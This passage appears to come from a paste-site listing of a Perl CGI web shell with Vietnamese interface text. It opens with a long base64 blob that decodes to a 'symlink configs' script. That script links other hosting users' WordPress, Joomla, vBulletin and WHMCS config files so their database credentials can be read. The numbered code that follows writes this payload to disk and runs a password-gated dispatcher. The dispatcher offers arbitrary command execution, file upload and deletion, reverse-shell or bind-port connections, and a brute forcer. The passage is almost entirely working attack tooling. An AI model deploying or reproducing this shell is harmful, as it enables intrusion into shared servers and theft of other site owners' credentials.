3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjQtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MxLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGExLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG00LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTgtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG05LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJ35+NS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJ35+NC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nfn5pbnZpc2lvLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+Ny1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLid+fjgtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nfn5tay1wb3J0YWxlMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nfn4xMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nfn5TbWYtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLid+fnBocGJiMy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fmluZmluaXR5LWxvZy50eHQnKTsKfQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsKICByZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKfSBlbHNlIHsKICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cn0KQHBhaXJzID0gc3BsaXQoLyYvLCAkYnVmZmVyKTsKZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7CiAgKCRuYW1lLCAkdmFsdWUpID0gc3BsaXQoLz0vLCAkcGFpcik7CiAgJG5hbWUgPX4gdHIvKy8gLzsKICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOwogICR2YWx1ZSA9fiB0ci8rLyAvOwogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOwogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsKfQppZiAoJEZPUk17cGFzc30gZXEgIiIpewpwcmludCAnCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPgo8cD5QYWluIFNjcmlwdCBUbyBTeW1saW5rIENvbmZpZ3M8L3A+CjxwPjxmb250IGNvbG9yPSIjQzBDMEMwIj5bPC9mb250PiBDb25maWcubG9nIDxmb250IGNvbG9yPSIjQzBDMEMwIj58PC9mb250PiAKPHNwYW4gaWQ9InJlc3VsdF9ib3giIGNsYXNzPSJzaG9ydF90ZXh0IiBsYW5nPSJlbiI+PHNwYW4gc3R5bGUgdGl0bGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIj58PC9mb250Pjwvc3Bhbj48L3NwYW4+IAo8Zm9udCBjb2xvcj0iI0MwQzBDMCI+XTwvZm9udD48L3A+Cjxmb3JtIG1ldGhvZD0icG9zdCI+Cjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQyMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRiIgID48L3RleHRhcmVhPjxiciAvPgombmJzcDs8cD4KPGlucHV0IG5hbWU9InRhciIgdmFsdWU9IkFMTENvbmZpZy1sb2cudHh0IiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRjsgIiAgLz48YnIgLz4KJm5ic3A7PC9wPgo8cD4KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogOTk7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjEwcHQ7IGNvbG9yOiMwMEZGRkY7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEMiIC8+PC9wPgo8L2Zvcm0+JzsKfWVsc2V7Cm1rZGlyKCdDR0ktQ29uZmlnLmxvZycsMDc1NSk7CmNoZGlyKCdDR0ktQ29uZmlnLmxvZycpOwpAbGluZXMgPTwkRk9STXtwYXNzfT47CiR5ID0gQGxpbmVzOwpvcGVuIChNWUZJTEUsICI+bG9nLnRtcCIpOwpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOwpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7CndoaWxlKEBsaW5lc1ska2FdICA9fiBtLyguKj8pOng6L2cpewombGlsKCQxKTsKcHJpbnQgTVlGSUxFICQxLiItbG9nLnR4dCI7CmZvcigka2Q9MTska2Q8MTg7JGtkKyspewpwcmludCBNWUZJTEUgJDEuJGtkLiItbG9nLnR4dCI7Cn0KfQp9CnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPjxwPkdldCBBbGwgQ29uZmlnIFRoJiMyMjQ7bmggQyYjMjQ0O25nPC9wPgo8aDE+PGEgc3R5bGU9ImNvbG9yOiNGRkY1MDA7IiBocmVmPSJDR0ktQ29uZmlnLmxvZy8iIHRhcmdlcj0iX2JhbmsiPiYjMjcyOyYjNzg3MTtuIEZvbGRlciBBbGwgQ29uZmlnLmxvZzwvYT48L2gxPic7CmlmKCRGT1JNe3Rhcn0gbmUgIiIpewpvcGVuKElORk8sICJsb2cudG1wIik7CkBsaW5lcyA9PElORk8+IDsKY2xvc2UoSU5GTyk7CnN5c3RlbShAbGluZXMpOwpwcmludCc8cD48YSBocmVmPSJDR0ktQ29uZmlnLmxvZy8nLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4KPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+PGgxPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgQWxsIENvbmZpZy5sb2cgVGFyIEZpbGU8L2gxPjwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4KPGJyLz48aDE+PGEgc3R5bGU9ImNvbG9yOiNGRkY1MDA7IiBocmVmPSJDR0ktQ29uZmlnLmxvZy8iIHRhcmdlcj0iX2JhbmsiPiYjMjcyOyYjNzg3MTtuIEZvbGRlciBBbGwgQ29uZmlnLmxvZzwvYT48L2gxPic7Cn0KfQogcHJpbnQiPC9ib2R5PjwvaHRtbD4iOw==";
  1347. $decodeconfigizaass=decode_base64($configizaass);
  1348. print CreateNew $decodeconfigizaass or die "Kh&#244;ng Th&#7875; Ghi N&#7897;i Dung V&#224;o File Config.log"; close CreateNew;
  1349. chmod(0755,'Config.log');
  1350. print '<br/><center><h1>T&#7841;o File Config.logTh&#224;nh C&#244;ng<br/><br/><a style="color:#FFF500;" href="Config.log" target="_bank">V&#224;o CGI Shell: Config.log</a></h1></center>';
  1351. print "\n";
  1352. }
  1353. &ReadParse;
  1354. &GetCookies;
  1355. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1356. $ServerName = $ENV{'SERVER_NAME'};
  1357. $LoginPassword = $in{'p'};
  1358. $RunCommand = decode_base64($in{'c'});
  1359. $TransferFile = $in{'f'};
  1360. $Options = $in{'o'};
  1361. $Action = $in{'a'};
  1362. $Action = "command" if($Action eq "");
  1363. $CurrentDir = &TrimSlashes(decode_base64(trim($in{'d'})));
  1364. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1365. chomp($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1366. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1367. if($Action eq "login" || !$LoggedIn) # user needs/has to login
  1368. {
  1369. &PerformLogin;
  1370. }elsif($Action eq "gui") # GUI directory
  1371. {
  1372. &PrintPageHeader("d");
  1373. if(!$WinNT)
  1374. {
  1375. $chmod=int($in{'chmod'});
  1376. if($chmod ne 0)
  1377. {
  1378. $chmod=int($in{'chmod'});
  1379. $file=$CurrentDir.$PathSep.$TransferFile;
  1380. if(chmod($chmod,$file))
  1381. {
  1382. print "<run> Done! </run><br>";
  1383. }else
  1384. {
  1385. print "<run> Sorry! You dont have permissions! </run><br>";
  1386. }
  1387. }
  1388. }
  1389. $rename=$in{'rename'};
  1390. if($rename ne "")
  1391. {
  1392. if(rename($TransferFile,$rename))
  1393. {
  1394. print "<run> Done! </run><br>";
  1395. }else
  1396. {
  1397. print "<run> Sorry! You dont have permissions! </run><br>";
  1398. }
  1399. }
  1400. $remove=$in{'remove'};
  1401. if($remove ne "")
  1402. {
  1403. $rm = $CurrentDir.$PathSep.$remove;
  1404. if(-d $rm)
  1405. {
  1406. &RmDir($rm);
  1407. }else
  1408. {
  1409. if(unlink($rm))
  1410. {
  1411. print "<run> Done! </run><br>";
  1412. }else
  1413. {
  1414. print "<run> Sorry! You dont have permissions! </run><br>";
  1415. }
  1416. }
  1417. }
  1418. print &ListDir;
  1419. }elsif($Action eq "command") # user wants to run a command
  1420. {
  1421. &PrintPageHeader("c");
  1422. print &ExecuteCommand;
  1423. }
  1424. elsif($Action eq "save") # user wants to save a file
  1425. {
  1426. &PrintPageHeader;
  1427. if(&SaveFile($in{'data'},$in{'file'}))
  1428. {
  1429. print "<run> Done! </run><br>";
  1430. }else
  1431. {
  1432. print "<run> Sorry! You dont have permissions! </run><br>";
  1433. }
  1434. print &ListDir;
  1435. }elsif($Action eq "upload") {
  1436. &PrintPageHeader("c");
  1437. print &UploadFile;
  1438. }elsif($Action eq "backbind") # user wants to back connect or bind port
  1439. {
  1440. &PrintPageHeader("clientport");
  1441. print &BackBind;
  1442. }elsif($Action eq "bruteforcer") # user wants to brute force
  1443. {
  1444. &PrintPageHeader;
  1445. print &BruteForcer;
  1446. }elsif($Action eq "configizaass") # user wants to brute force
  1447. {
  1448. &PrintPageHeader;
  1449. print &ConfigIzaass;
  1450. }elsif($Action eq "download") # user wants to download a file
  1451. {
  1452. print &DownloadFile;
  1453. }elsif($Action eq "checklog") # user wants to view log file
  1454. {
  1455. &PrintPageHeader;
  1456. print &ViewLog;
  1457.  
  1458. }elsif($Action eq "domainsuser") # user wants to view list user/domain
  1459. {
  1460. &PrintPageHeader;
  1461. print &ViewDomainUser;
  1462. }
  1463. elsif($Action eq "logout") # user wants to logout
  1464. {
  1465. &PerformLogout;
  1466. }
  1467. &PrintPageFooter;
Add Comment
Please, Sign In to add comment